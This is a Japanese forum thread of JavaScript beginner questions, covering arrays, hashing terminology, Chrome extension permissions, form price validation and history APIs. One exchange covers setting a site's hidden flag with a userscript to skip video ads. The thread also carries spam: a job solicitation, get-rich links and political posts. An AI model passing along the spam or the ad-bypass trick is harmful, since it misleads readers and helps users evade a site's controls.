ID出したり消したりと自作自演してるから忘れるんだよw >>571
ん?基数変換を用いたハッシュ法の話だよね?
そこで言うハッシュ計算って具体的に何を示してるの? 560 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 02:56:07.87 ID:7Z1vTrX2
>>557
基数変換を用いるハッシュ法ってあるよね??
562 名前:Name_Not_Found[sage] 投稿日:2015/01/05(月) 02:57:12.17 ID:???
>>561
お前さんはとっくに論破されてるのにまだ気付いてないのか
569 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2
シャッフルテーブルだった
あと568は俺です
>>560==>>562だろうなw >>572
いや、自動でsageるように設定してるだけ >>573
だからこのcreate62Hashは、ハッシュ計算を何もしていないから
ハッシュではないという話。
ただの基数変換をしているだけ。 >>574
は?違いますけど?
都合が悪くなるとなんでも自演扱いするんだな >>577
お前はもういいよ。ID:7Z1vTrX2とまじめに会話するからさw >>576
単なる基数変換じゃないと思うけど。
それなら10進数値の総数がそのまま62進数になるよね?
これは基数変換を用いたハッシュ化だと思う あ、けど俺はハッシュであろうがなかろうがどうでもいい事なんで。
疑問に思ったから質問してるだけです
もう寝る。レス汚しすまん >>579
基数変換して、単一換字変換しただけ。
だから単純に数字の順番通りに、文字も変わっていって
簡単に次の文字の予想がつく
16進数で0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F の代わりに
6,7,8,2,3,B,9,0,1,C,4,5,A,D,E,F という順番で
単一換字変換させるのと一緒。
だからハッシュ計算と呼べるものは何もない。 質問者も寝たようなので、これで終わりかな。
じゃあ俺も寝るか。 >>581
お前のハッシュは予想が付いたらハッシュと呼べないのか?
散々言われてるように勉強してこいって 乙。途中荒れたけど、終わりよければ全てよしということでw 477 Name_Not_Found sage New! 2015/01/05(月) 00:46:17.29 ID:??? [0]
暗号学的なhashもあれば、単にデータを区別する値もhashと言うよな
ほんとこれ
否定してる奴はこれを100回読んで理解しろ はい、逃げた
都合が悪いとなんでも自演扱いして
自分の誤りを認めなれない低脳でしたとさ 思い込みって怖い
間違った反論しかしてなくて、それを正しいと思ってるからたち悪いね
581の頭は一生治らなさそう >>588
だな
どうしてお前はそんなに必死なんだ?
誤りを認めたくない気持ちはわかるが、そんなんじゃこの先生きていけないぞ 必死に否定してる奴って変な宗教でもやってるのかなぁ
コードも理解できてないし学も無いようだし。。。
親も馬鹿なんだろうね。可哀相 現行スレ
+ JavaScript の質問用スレッド vol.122 +&#169;2ch.net
http://peace.2ch.net/test/read.cgi/hp/1420095379/l50 1から10までの値の入った配列から指定した値から偶数以外の値をランダムで1個取得する方法で
これ以外に違う書き方を教えてください
var a = [1,2,3,4,5,6,7,8,9,10];
var b = [];
for (var i=0; i<10; i++) {
if (i % 2) {
b.push(i);
}
}
console.log(b[Math.floor(Math.random()*b.length)]); >>596
1から10は小さい順に10個固定なのか?
そのコードだと
var a = [2,3,4,5,6,7,8,9,10, 1];
時困るだろ? あと
var a = [2, 4, 6, 8];
の時どうなるのか? とか、
>>596以外にという以前に>>596があっているのか? >>597-598
var a = [2,3,4,5,6,7,8,9,10, 1]; でも僕のコードでは困ってませんが具体的にどのような事で困りますか?
1から10までと提示したのでvar a = [2, 4, 6, 8]; というのは考えないで構いません 奇数しか使わないんだったら最初から奇数の入った配列でよくない?
それとaって使っていないように見えるんだが・・・ あ、すいません
var a = [1,2,3,4,5,6,7,8,9,10];
var b = [];
for (var i=0; i<10; i++) {
if (a[i] % 2) {
b.push(a[i]);
}
}
console.log(b[Math.floor(Math.random()*b.length)]) >>599
あっそ? 困ってないんだw
1から10までのが入った配列固定なんだw
じゃあ、答えは
Math.floor(Math.random()*5)*2+1;
これでいいよ。
配列の中に入っている値が関係なくて
固定なら配列を使う理由もない。
ま、あなたに出された宿題の答えとしては
間違ってるんだけどねw >>603
配列の値をフィルターすることが主体なのでそれは参考になりません >>596
lodash使えば簡単
var a = [1,2,3,4,5,6,7,8,9,10];
var b = _.filter(a, function(num){return num % 2});
console.log(_.sample(b));
一行で書くなら
console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], function(num){return num % 2}))); アロー関数を組み合わせれば更に短く
console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], num => num % 2))); filterの所はEMCAScript5を使ったほうがわずかに短いな。
アロー関数を使えるならばEMCAScript5に対応しているはずなので。
console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], num => num % 2)));
console.log(_.sample([1,2,3,4,5,6,7,8,9,10].filter(num => num % 2))); lodash 3.0 リリース間近!
https://github.com/lodash/lodash
3.0-preから-preが外れました!
スレが多すぎてどこに書けばいいかわからないので
関連スレすべてにマルチポストしています。m(__)m これってできませんでしたっけ?
var test;
test.hoge=0;
昔できたような気がするんだけど webaudioapiでmp3をソースにした時に時間を指定してエフェクトをかけるとかできませんか?
例えば1:05の時のアナライザデータ取得とか 昔できたとしても出来る方がおかしいんだから
そんな書き方しなければいい
はい論破 >>610
ECMAScriptの方言のActionScript1.0だと、その書き方でもエラーにならない undefinedにプロパティあるのはどう考えてもおかしい
はい論破 var test = {hoge:0};
これで万事解決 最近趣味でプログラミング始めようとしてドットインストールやりながらプログラミングの入門本を何冊か読んだ、プログラミング専門外糞雑魚初心者なんですが、何で質問スレこんなに過疎ってるんですか? >>621
ここは荒らしの立てたスレだからです
荒らしは立てるだけ立てて廃れたら放置するので初めから放置しましょう
+ JavaScript の質問用スレッド vol.123 + [転載禁止]©2ch.net
http://peace.2ch.net/test/read.cgi/hp/1423915644/ >>623
ド初心者を脱すればそんなもんですよね
>>624
酷い荒らしですね。そちらのスレに合流させて頂きます。
丁寧に誘導までして頂き有難うございます。 Javaのバージョンって 1.7とか1.8だけど、
JavaEEのバージョンとの関係が全然解らない。
JavaEE7 はJava 1.7と言う認識で良いの? はい現行スレ
+ JavaScript の質問用スレッド vol.124 + [転載禁止]©2ch.net
http://peace.2ch.net/test/read.cgi/hp/1429873274/l50 >>626
JavaはJavaScriptではありません。 本スレ
+ JavaScript の質問用スレッド vol.125 + [転載禁止]©2ch.net
http://peace.2ch.net/test/read.cgi/hp/1436910657/ .
.
板違い(?)の上に、話をさえぎってしまいゴメンナサイ!(*_ _)人
でも、この板のユーザーさんにも有意義な告知かと思うのでカキコませてください。
★ 謝礼は十分いたします ★ アメブロなどのサイト制作ができる方!!
アメブロなどを使用してのサイト制作のできる方を早急に求めています!
私はリケジョやPC女子からはほど遠く、サイト作成にはまったく疎いのでとても不自由しています…(> <;)
そこで私に代わりサイトを作成してくださる方を求めてこの場をお借りしました。
■サイトの内容…
アダルト系、違法性、その他公序良俗に反するものではありませんのでご安心ください。
■サイト制作の仕様ベース…
アメーバブログで十分です。願わくばwordpressなどのブログ形式のサイトを希望します。
それに準ずるもので使い慣れたものがあれば別のものでも構いません。
■条件はありません…
技術さえお持ちでしたら、学歴・職歴等は一切問いません。
フリーター、ニート、高齢ニート、コミュニケーション障害をお持ちの方、引きこもりの方、中年失業者、長期無職等、歓迎!
■作業形態…
作業は在宅でやって頂くことになりますので、時間の指定は一切ありません。別のお仕事の傍らに…でもOKです。
■詳細をお知りになりたい方は…
下記メールアドレスまでご連絡ください。詳しく書いた返信文を差し上げます。
※真剣な告知です。冷やかしはご遠慮ください。
井 上
inoue1952w★gmail.com
迷惑メール対策のため@部分を★にしてあります。
実際に送信する際には★を@マークに変えてください。
.
. ホームページで友達が稼げるようになった情報とか
⇒ http://asaswq3wq.sblo.jp/article/181819223.html
興味がある人だけ見てください。
PJXZX1EV6W ☆ 日本の、改憲を行いましょう。現在、衆議員と参議院の
両院で、改憲議員が3分の2を超えております。
『憲法改正国民投票法』、でググってみてください。国会の発議は
すでに可能です。平和は勝ち取るものです。お願い致します。☆☆ 誰でもできる在宅ワーク儲かる方法
少しでも多くの方の役に立ちたいです
グーグルで検索するといいかも『金持ちになりたい 鎌野介メソッド』
FHO84 今javascriptとnode.jsを勉強してるんですがこの2つだけじゃ身につけにくいプログラミング言語の特徴みたいなのありますか?
型とかポインタ?とかかなと思うんですが 古すぎるスレを再利用するな無能
昔は賑わってたから分散を防ぐために1つ1つ潰していく必要があったし
それが美学だったが、もう死んでるスレを掘り起こす意味は無いだろ
さっさと新しく作れ >>646
別に死んでないよ
君はこのスレが使われると何か都合が悪いの? 立てるべきと思うなら立てりゃいい
前スレも再利用だしなんで今更言い出すのか知らんけど 馬鹿か
1つ、2つ前のスレならまだしも
2014年に建てられたスレをわざわざ掘り起こして再利用するヤツが居るかよ
テンプレだって腐ってんじゃねーか
ここに初めて質問した人にテンプレをまず確認しろという
超超超基本的なことも言えないだろ
下痢カス野郎 いや立てりゃいいじゃん
前スレ1000行く前に立てりゃ良かったのに 天才か
そりゃお前の言う通りだよ
オマケに次スレに案内したというところは超評価してるんだよ
でも案内先が地獄じゃねーかって文句一点だろ
いい加減理解しろよトンカチ頭 いやここで愚痴る間に立てりゃいいじゃん
誰も禁止してない NO
俺は建てない
お前は国に不満があったら国を作るのか?
この親不孝者め! Chromeブラウザの機能拡張についてはここで大丈夫でしょうか
自作の機能拡張を作りました。
ローカルから機能拡張をあててローカルに保存されたhtmlに対してだとエラーがでないのですが
ストアに登録して機能拡張あててローカルに保存されたhtmlだとエラーがでます。
manifestは
"permissions": [
"activeTab",
],
です。これだけだと足りないみたいなので"file://*/"を足そうと思うのですが
この対策で妥当ですか?
エラーは
lastError: Cannot access contents of the page. Extension manifest must request permission to access the respective host.
です
よろしくお願いします 自己解決
"file://*/"の追加はいらない。機能拡張の設定からファイルへのアクセスを許可をONにするでいけました。
ローカルでの機能拡張の場合はデフォルトでONになってる。 jsで配列等の初期値は未定義ですか?
配列作成後、各要素にどのような値が入っているか仕様上の保証はありますか? JSで初期値があるのは宣言された変数のみ
たとえ長さ100のArrayを作ったところで
実際に空の箱が100個用意されるという仕様はない
ただlengthが100に設定された配列オブジェクトができるだけ
それぞれの要素に初期値などは設定されない
オブジェクトの未定義のプロパティにアクセスするとundefinedが帰るという仕様はある
ただしそれはundefinedが入っていることとはベつ 簡単なアプリを作ったんですがiphoneのみ画像やアイコンが表示されません
windowsやlinuxの色々なブラウザでは問題無しです
よくある原因は何になりますか? iPhoneのSafariはmanifest.jsonまだ対応してないの?(クソデカため息)
>>659
これ使え
https://github.com/GoogleChromeLabs/pwacompat 【環境】Firefox 89.0.2, Chrome 91.0.4472.114
【何をしたのか】具材の一部を選択した後、フォームをリセットする
【エラーメッセージ】なし(input.curryのindeterminateプロパティがtrueのままになる)
【期待する結果】全てのチェックボックスのcheckedプロパティとindeterminateプロパティがfalseになる
【サンプルコード】https://jsfiddle.net/rhyutmL8/ リセットボタンクリック時に関数実行してクリアすればよくね? >>660
遅くなりましたがありがとうございます! >> 661
formのresetイベントでindeterminateをfalseにすればええんちゃう 既出でしたらすみません。
slice()やcharAt()などの文字列メソッドの用途があまり想像できません…。
業務や趣味で使用したことある方いましたらどのように使用したのか教えていただけますでしょうか。 料金シミュレーションができるサイトで、
リストを選択すると金額がかわるものがあります。
ソースを見ると
<select name="item">
<option data-price="1000" value="1">商品名</option>
のような感じになっており、
選択するとJavascriptでdata-priceの値を取得して
金額を計算する形が多いのですが、
こういう仕組みってセキュリティ的に問題ないのでしょうか?
外部からの送信で金額が書き換わるとか・・・ >>670
安く買いたい人が金額を書き換えるとか、そういう問題起きないですかね?
フォームに金額を設定するタイプの仕様って危険な香りがして・・・ >>671
常識的には実際に登録する時にサーバはバリデートする
でないとクルーザー100円で買ったよ!なんて事になるから 自分が書き換えて、自分が見るだけなら、間違っても問題ない。
単に、その人の入力ミスだから
一方、サーバーのデータを書き換えて、大勢の人が見るなら、ヤバイ
サーバー側でもエラーチェックするけど、
例えば、千円を100円に間違ったため、多くの申し込みがあったとかは防げない
サーバー管理者にとって、100円がエラーとは分からないから よく起こるのは、通貨・株式取引で、1桁間違ったとか
こういうのは商取引でも、プロの取引に認定されているから、間違った人が悪い。
取引を錯誤などで、キャンセルできない。
取引が絶対に確定される
一方、一般消費者の取引では、錯誤でキャンセルできる。
一般消費者は取引のプロではないから >>671
フォームでsubmitされるのはvalue=“1”のほうであってdata-priceじゃない
確認画面では正しい金額で表示される
確認画面の金額もローカルで変更してから
OKボタンを押したところで支払う金額が変更後のものに変わるわけじゃない >>671
できるかどうかの前に
故意に書き換えて購入しようとしたら犯罪ちゃうの?という素朴な疑問 671です。実際に登録が完了する前にバリデーションしたら問題ない
ってのは分かった上で、表面上の金額が変わることに問題ないのか?
という疑問が起きました。
故意に変えたら犯罪ではありますが、
そういう仕様になっているのは設計する側のミスでもあるので。
とりあえず、「操作している人が金額を変えられたとしても
決済時に金額が代わらないなら問題ない」
という解釈をし、HTMLに金額を書いても問題ないと理解しておきます。 スーパーの値札なんて簡単に入替できるけど
店舗設計者のミスなの? カスタムデータ属性で何ができるのか調べればいいのに…
目の付け所が糞過ぎて凄い勉強効率悪そう HTMLに金額書かずにどうやって客に金額を提示するんだよw 書き換えられると困るので、このスーパーではレジのみにて金額の確認をさせていただいております
どうかよろしくご理解ください >>681
optionにはidだけ記載して、Ajaxで金額を称号して計算すると思ってました
でも、これならいちいちDBにアクセスするため、効率悪いですよね >>683
ajaxで金額を照合して計算したとしても
計算結果の金額をユーザーに提示する必要があるよね
それは何らかの形でHTMLに書かれるわけだから
data-priceに金額を書いてるのと同じで書き換えが可能 >>684
非同期通信のデータも書き換えることができるんですね
出来ないと思ってました。HTMLに書くわけではないですから。 もう何言ってるんだかって感じ・・・
とりあえずHTTPの基礎を学んで出直してくれ 非同期通信とかを知っていて、なんでそんな思考になるのか理解できない
どんな順番で学んだのかな? 逆です。「もし自分が知らなかったら大変なことになる」と思っての質問です。
完璧に全ての要件を理解しているわけではないので、
自分が知らないことでセキュリティリスクが発生してはいけないと思い、
イレギュラーな質問をした次第です。問題ないのならそれが一番です。 非同期通信のデータも書き換えることができるけど
そうじゃなくてサーバーから受け取ったデータを元にHTMLを更新しないとユーザーは金額見れないじゃん HTTP理解してない人間がWebアプリ開発に関わるというのが一番のリスク
Webアプリを開発するなら徳丸本レベルのセキュリティ知識は必須 CSRFトークンやらは流石にチームリーダーかベテランが設計して、レビューするのでは? CSRFトークンとかはフレームワークが用意してる仕組みを使えよ Ruby on Rails では最初から、
CSRF・Cross Site Request Forgeries 対策されている >>694
ルビ基地さん、マルチポストは禁止ですか? Web上で動く動画編集ソフトを作っていて、メモリの使用状況を知りたいのですが、
navigator.onmemorypressureがクソ使えません。
タブが落ちるまで発動しないことや、落ちる寸前で発動してどうしようもないときがしばしばあります。
今は代わりにWeakRefを使ってCGの粒度と頻度を監視してメモリの逼迫を予測しているのですが
いつまでも実装内部の微妙な振る舞いに頼った方法を使うわけにもいかないので
もっと良い解決方法はありませんでしょうか? 超初心者です。
今やっている教材で
if(!$('#text').val()){
といった条件式のif文が出てきたのですが
これはなにをもってtrueなのでしょうか……
textは文字を1行入力するinput要素につけられたidだと思います その要素のvalue属性がfalsyなら条件式がtrue
(!が否定なので)
文字列が空だったりしたらtrueになる まず、!$('#text').val()、これは、!( $('#text').val() ) と同じ。
.val() は、<input>の内容を取得するので、文字列型
!文字列型 は、文字列を否定した真偽値になる。
さらに、その真偽値を否定すると、!!文字列型。肯定に戻る
文字列の真偽値は、空文字列なら偽。
それ以外は真と判定される
だから下の出力は、文字列が存在すれば「あいう true false」、
空文字列なら「false true」
<label>入力文字列<input type="text" id="Text1" value="あいう" autofocus></label><br>
<button id="Button1">押して</button>
<p>出力 : </p><div id="output"></div>
$( "#Button1" ).click( function ( ) {
inputText = $( "#Text1" ).val( ) // 取得
console.log( inputText, !!inputText, !inputText )
$( "#output" ).text( `${ inputText } ${ !!inputText } ${ !inputText }` ); // 設定
} ) 下記のような処理を行いたいのですが、「httpresponseに反応し、関数を呼び出す」の実装方法がわかりません。何か方法はありませんでしょうか。初学者の質問で恐縮です。
ページを表示→入力フォームに文字列を入力後送信ボタンをクリック→関数が呼び出され、httpresponseを返す→httpresponseに反応し、関数を呼び出す jQuery on を使う。
よく知らないけど、素のJavaScript なら、addEventListener かな?
$('button').on('click', function(){
console.log('on');
});
Ajax 通信かな?
Promise, async/await とか
1. クライアント側から、サーバーへ送信する
2. サーバーで処理して、クライアントへ返信する
3. クライアントで受信して、処理する 昔は、Ajax に、jQuery を使っていたけど、
最近は、axios を使う
「ajax axios 違い」で検索して! 通信技術板なのかもしれないんだけど、サイト閲覧や掲示板利用でIMEIって抜かれる(抜ける)ものなのかな?
IMEIのチェックサイトでも自動取得ではなく入力しろとなっているから、特殊なアプリでもなければ無理だよな思うんだけど
JavaScriptでも端末情報の取得までがマックスだよね、ちょっと自信ないので教えてください
セキュリティ板でモバイル板行けと言われたんだけどモバイル板も板違いっぽくて、ここに辿り着きました ヘッダにつけて出して叩かれてたからdocomo以外は出さないと思ってたが、今はしらん
https://anond.hatelabo.jp/20111019232107
iphoneって付けるってホント? >>706
こんなのあったんだ、ありがとう
iPadのWiFi利用だからそこまでは分からないんだけど
ドコモのそれも勘弁してくれだなあw
こんな簡単に抜かれて偽装だのされたらかなわない >>705
「imei macアドレス 違い」で検索して
IMEI は知らないけど、
端末固有のMACアドレスなら、同一LAN 内で、端末を識別するために使うだけ。
LAN外のWAN・インターネットには、その情報を渡さない
もし外へも渡すのなら、それをユーザー自らが許可しないといけない UUIDが簡単に取れたのは昔々の話
iPhoneだとiOS6とかその時代 >>708-709
ありがとう、さらに調べてみました
やはり警戒したいのはIMEIなんだけどWEB経由では取得出来ず、
アプリなら技術的には取得可能ということのよう
もっともAppleもGoogleも基本的にはアプリでの取得も認めてない模様
現段階では、これで間違いないような気がする(素人判断) このような場合でccc関数でaaa()を呼ぶにはどうしたらいいんですか?
function main{
function aaa(){
}
function bbb(){
}
}
function ccc(){
//ここでaaa()を呼びたい
} 訂正:function mainではなくfunction main()です aaa を外出しにするか、main をインスタンスにしてaaaメソッドを呼ぶくらい
main内のスコープだよ内部変数と同じ ABEMAのサイトなんですが
その中で遷移する場合、普通に遷移するのではなく、
unloadせずにjsでいろいろして遷移しているように見えます。
(例えばhttps://abema.tv/now-on-air/news-plus から右のチャンネル一覧を出して別のチャンネルに移動する場合
Consoleにはリンク先URLに移動しました などのログがありませんがアドレスバーはちゃんとかわっています
戻るを右クリックして履歴を出してもちゃんと履歴はあります)
jsで読み込んでDOM操作すればページ自体は行けるのはわかるのですが
URLや履歴はなぜ遷移なしに変更できるかわかりません。
document.URLなどに移動先アドレスを代入すれば普通に遷移してしまうと思います。
これはどのようにして実現しているのでしょうか? chrome系の場合遷移したのにその前の履歴が残らないのはあまりよろしくないということで結構前のバージョンからreplaceStateでもpushStateと同じ動作なので注意 その理由はおかしくないか?
303とかと同じで戻られたらよろしくないこともあるでしょ サムネをクリックするとページ移動しないでその場で拡大画像を表示させるには
jqueryやライブラリ使わないで自力でjavascriptコード書くのは難しいですか?
そんなに手間かからないならjavascriptだとどう書けばいいんですか? absoluteなdivをオブジェクトとして作っておいて
imgにclickのaddEventListenerでdivオブジェクトの中のimgのsrcをclickもとのsrcから引っ張ってきて
bodyあたりにappendChildしたらいいんじゃないかな >>720
全然難しくない
そういう処理をしてるサイトでクリックイベントのコードを見れば解決 >>721
ajaxでデータ取ってくるイメージだと思うので
プログレスインジケーターとかもろもろの処理が普通は必要 例えば、jQuery のhover で、画像サイズを大きくするアニメなら、
<img src="a.jpg" id="img_01">
$( function ( ) {
$( "#img_01" ).hover ( function ( ) {
$( this ).stop( ).animate(
{ width: '600' }, 1000 );
}, ( function ( ) {
$( this ).stop( ).animate(
{ width: '300' }, 1000 );
} )
)
} ); 例えば、jQuery で、
ボタンをクリックすると、画像を追加する
<div id="div_1"></div>
<button id="btn_1">押して</button>
$( function ( ) {
$( '#btn_1' ).on( 'click', function( ) {
// 要素の下に、要素を追加する
$( "#div_1" ).after('<img src="b.jpg">');
} )
} ); >>725
サムネならワンチャン transform の scale でいけますか?
いけますんね… できなくはないだろうけどやる意味がない
サイズ云々じゃなくてクリック対象と拡大表示される画像はさすがに別のDOMじゃないとださい
画像自体はでかい画像のほうをcssで縮小してサムネにしておくとかなら同じオブジェクトのコピーでもいいけど Lazy Loadみたいにimgタグに属性として実寸画像データのアドレス入れておいて差し替えたらいいんじゃないの? Googleフォトに登録してAPIを使えばいい
サムネイルのサイズから拡大のエフェクトまで端末の種類に応じていい感じにしてくれる wakuの高さを取得したくてこれでやっても600にならずに1800と表示されてしまいます。
どうしてでしょうか?たぶんoverflowで隠れた画像の高さも含めてる?
どうすれば高さの600を取得できますか?
<style>
#waku{
width:90%;
height:600px;
overflow:hidden;
}
</style>
<div id="waku">
<ul>
<li><img src="test1.png"></li>
...
<li><img src="test5.png"></li>
</ul>
</div>
<スクリプト>
var element = document.getElementByID("waku");
var element_style = getComputedStyle(element);
var property_value = element_style.getPropertyValue("height");
property_value = parseInt(property_value);
alert(property_value);
</スクリプト> display:table-cellを消したらちゃんと取得できました element.onclick = func1;
func1(str){
alert(str);
}
この場合func1に引数を渡すにはどうすればいいんですか?
element.onclick = func1("aaa");ってやってもできなかった 部分適用
- 関数を返す関数に引数を渡す
- 返す関数は外側の関数の引数をキャプチャする(クロージャ)
function func1(str) {
return function(e) {
alert(str);
}
}
element.onclick = func1("aaa"); アロー関数使えばもう少し簡単に書ける
がCloudflareに弾かれたのでググってくれ ユーザーjsの使用用途で質問です。
webページで出てきたダイアログボックス(window.confirmで出力している様子)に対し
3秒後に自動で「OK」を押し(もしくはキーボードのEnter)てダイアログを閉じるにはどのように書いたら良いでしょうか・・?
使用環境
Chromeの拡張プラグインで「Tampermonkey」というユーザーjsのプラグインで使用
宜しくお願いします。 すいません用途や環境はあまり考えなくて大丈夫です。
普通にjsでダイアログを閉じる記述を教えてください。。 comfirmやalertをスクリプトで閉じることはできないです >>741
なるほど・・そうだったのですね
ありがとうございます ユーザー操作が必要なのか
Selenium Webdriver で、ブラウザを自動操作すれば出来るのかな? jQuery のモーダルダイアログでは、
fadeIn( )で表示して、fadeOut( ) で非表示にするとか、
remove( ) で、モーダル要素を削除する
単に、jQueryで書いてるだけ comfirmのダイアログにidが無い場合、
SeleniumでもjQueryでもcomfirmのダイアログを指定するには何オブジェクトなのでしょうか・・?
windowでイケます・・? id, class, タグ名などを組み合わせて、特定できないの? >>752
無理のようですね。ダイアログが表示されている時はF12でソースすら確認出来ない状態ですし
confirmするのにidもclassもHTMLも不要ですし、、 <ul id="img_set" style="display:flex">
<li><img src="test1.png"></li>
.
.
<li><img src="test5.png"></li>
</ul>
このような横並びの画像があったとしてその幅を取得したいけど
chromeだとgetpropertyでulのwidthを取得できたけどIE11だと
ちゃんとした幅が取得できませんでした。
どうすればIEでもちゃんとした幅が取得できますか? >>755
釣りじゃないよ
chromeとedgeはwidth2000だったけど
IEだと1000くらいだった さすがにもうIEをフォローするのは止めちゃってもいいんじゃないかな ???「社のえらい人がIE使いなので対応してください」
???「官公庁です。根幹システムがIEのみなので従ってください」
これが日本 var img_url_list = ["./aaa.png","./bbb.png","./ccc.png"];
var img_kosuu = img_url_list.length;
var img_obj_list = [];
for(var n=1;n<=img_kosuu;n++){
img_obj_list[n-1] = new Image();
img_obj_list[n-1].src = img_url_list[n-1];
}
var img_load_count = 0;
for(var n=1;n<=img_kosuu;n++){
img_obj_list[n-1].onload = function(){
img_load_count++;
}
}
var msg = img_load_count + "個の画像を読み込みました。";
alert(msg);
ちゃんと3個の画像を読み込んでも「0個の画像を読み込みました」って表示されてしまいます。
img_load_countはちゃんとカウントされているはずだけどどうしてですか?
どうすれば読み込んだ画像の数を表示できますか? 一つ目のループの最後にappendChildを入れてみるとか
document.body.appendChild(iimg_obj_list[n-1]); >>761
どのタイミングでload eventが発生するのか考えたら? >>761
読込完了前にalert出してるから0個で正解
雑に対応するなら時間差を付ける
setTimeout(function(){
var msg = img_load_count + "個の画像を読み込みました。";
alert(msg);
},3000); >>761
最後のalertを全ての画像を読み終わったときにしたいなら
onloadの関数内でlengthとcountを見て最後だったらalert出す
にしたらいいんじゃないかな 今djangoメインでウェブアプリを作ってるんですが、どこまでの計算処理をjavascriptに任せてどこからをバックエンドのpythonで処理すべきかよくわかりません。
できる限りブラウザ側に計算処理させた方がいいと思うので出来る限りjavascripjで処理するようにするという基本思想で間違ってないでしょうか?
ほんとにバックエンドサーバー側で必要な処理だけをpythonで書くというのであってますか? Ruby on Rails の基本は、HTML をサーバーで作って返す。
JSON を返す、API モードもある。
さらに最近は、GraphQL もある
個人の起業用には、Rails, Bootstrap を使う。
または、それにReact も加える
YouTube で有名な、雑食系エンジニア・KENTA のサロンでは、
さらに、Vue.js, TypeScript も加える。
これは大企業用 >>768
採用してるアーキテクチャとメンテナンス性やUXを考慮した役割分担方針によるので
一概にできるだけブラウザ側で処理したほうがいいというわけでもない
APIサーバーじゃなくDjangoのテンプレートエンジンつかってViewを返してるんなら
明らかにUXが向上する箇所だけクライアント側で処理するという方針も十分ありえる >>768
お節介だとは思うけど数字を誤魔化されるとマズいアプリだと計算はサーバ側で必要な処理になるからね>ゲームとかショップとかバリデートしなきゃならない
一言で「必要な処理」と言ってもアプリそれぞれだから注意しといてね webに関してなんですが
greasemonkeyで本来宣言されていない変数名を定義すると
web管理側が対策をしようとすればわかっちゃうものなんでしょうか
var test;
ほにゃらら処理行
test = undefined;
としておけばわからないのでしょうか
Firefoxのコンソールで見ると宣言前に
test で ReferenceError: test is not defined と表示され
test = undefined;後にtest を入力すると undefined と表示されます。
未宣言か未定義かの違いだと思うんですが
これの区別ってjsでできますか?
また使った変数を未宣言の状態に戻すことは可能でしょうか? 基本見えないし自分が管理者ならそんな無駄な努力はしない
あと余所に見せたくないなら基本let,constで宣言すべき グリモンは全体を無名関数でくるめばサイト側から見えなくなるという話はどうなんでしょうか ありがとうございます
とあるサイトに
if(typeof(emergecy_xxx_brake_flg) !== undefined && emergecy_xxx_brake_flg == true){ ぬけあな }
みたいなコードを見つけかつ
emergecy_xxx_brake_flg をみると未定義でしたので
greasemonkeyでぬけあなを見つからないように使おうかなと思った次第です
あとでundefinedを入れておけば見つからないようですね ユーザースクリプトは無名関数で囲む書き方が一般的だけど
しなくても主要なユーザースクリプト拡張は
ページ側の変数や関数名とバッティングさせない、GM API等のために関数でラップされて注入されてるのでページ側のスクリプトからは見えない ということはemergecy_xxx_brake_flgをgreasemonkeyで定義しても元のscriptからは見えないし
ぬけあなを利用できないってことか
ありがとうございます ゲームのデバッグ用フラグっぽい雰囲気だけど
オンラインゲームなら変数定義云々関係なくチート行為はいずれバレるぞ 広義のチートかもしれませんがフラグが立ってると
google IMA の動画広告を見ないで特定のページに行けるようになります
(postでパラメータを渡していてURLは同じなのでURL入力では飛べない。そのフラグでもIMAのあとのルーチンでも読んでる関数は同じ。) 本来宣言されてない変数名が存在するかどうかなんてチェックしないよ
チート対策はもっと違うアプローチでやる
ユーザー数の少ないゲームだとチート対策にかけられる予算も少ないから
よほどナイーブなやり方じゃなければ検出されない それはアクセス解析で簡単に検出されるパターンな気がするな
まあYoutubeでも広告見ないでコンテンツだけ見るのも普通にできるから
検出されても対処されるかどうかは運営次第 広告見ないでコンテンツだけ見る方法のがむしろ知りたいw ublock Originみたいなアドブロッカー使う
詳細はググってくれ ES2015 以降は、var は使わない。
var は、バグるだけ
let, const の時代
Webpack, Babel。
Ruby on Rails でも、そう <input type="text" id="aaa" onkeyDown="test()">
function test(){
var str = document.getElementById("aaa").value;
alert(str);
}
このようにやって
入力した文字列を表示したいんだけど1つ前に入力した文字列が表示されてしまいます
どうすれば入力した文字を表示できますか? jQueryの質問です。
各タグ内から数字テキストのみを抜き出して、それらを数値として合算(足し算)し、
その合計値をテキストで出力したいのですが、どのように書いたら良いでしょうか?
<div>hoge1</div>
<div>hoge2</div>
<div>hoge3</div>
→「6」と出力したいです。
宜しくお願いします(>_<) vanillaで
Array.from(document.querySelectorAll('div'))
.map(x=>Number(x.innerText.match(/[0-9]+/)))
.reduce((acc, curr)=>acc+curr); >>789
ありがとうございます!
でも
初心者すぎて結果の確認方法がわかりません・・・
cosole.log();やテキストなどでどうやって確認したらよいのでしょうか。。。 すいません、変数宣言したらconsole.logで確認できました
>>789
ありがとうございます_(._.)_
jQueryでもわかる方いらっしゃると助かります。。
試したこと
.map() →文字列扱いされてしまい合計できない。 横からだけど勉強になります。
>>791
jQueryはしらないけどFirefoxで単純なサイトを開いてコンソールにそれを入れれば
いけましたね >>791
配列とjQueryオブジェクトのmapは全く別物
let sum = 0;
$("div").each(function() { sum += Number($(this).text().match(/[0-9]+/)) }); >>793
ありがとうございます!
ただ、やはり結果の出力方法がわからないのですが、、
let sum = 0;
const total = $("div").each(function() { sum += Number($(this).text().match(/[0-9]+/)) });
console.log(total);
で
k.fn.init(3) [div, div, div, prevObject: k.fn.init(1)]
となってしまうのですが「6」と出力するためにはどのようにしたらよいのでしょうか・・初心者質問ですみません totalはどこから出て来たんだよ
sumを出力しろ >>795
ぬお!できました。 お恥ずかしい。。
ありがとうございます!!!! 割って掛ける除乗算演算子と
掛けて割る乗除算演算子もあるぞ
a = 4 /* 2;
a = 4 */ 2;
console.log(a);
//=> 4 Ruby など、たいていの言語に、複合代入演算子がある ここでの質問なのかわからないですが
アナリティクスなどで、訪問者のiPhoneのバージョンがわかるようにしたり、集計ってできますか?
例えばiPhone12が○○アクセス、全体シェア○○%のように >>802
GAならこっちで聞いた方がいいよ
【アクセス解析】Google Analytics 8 [無断転載禁止]©2ch.net
https://mevius.5ch.net/test/read.cgi/hp/1485660054/ const $el = document.getElementById('hoge');
let func = () => {
console.log($el);
}
setInterval('func()',1000);
としたところ、$elはnullになってしまいます。
let func = () => {
const $el = document.getElementById('hoge');
console.log($el);
}
setInterval('func()',1000);
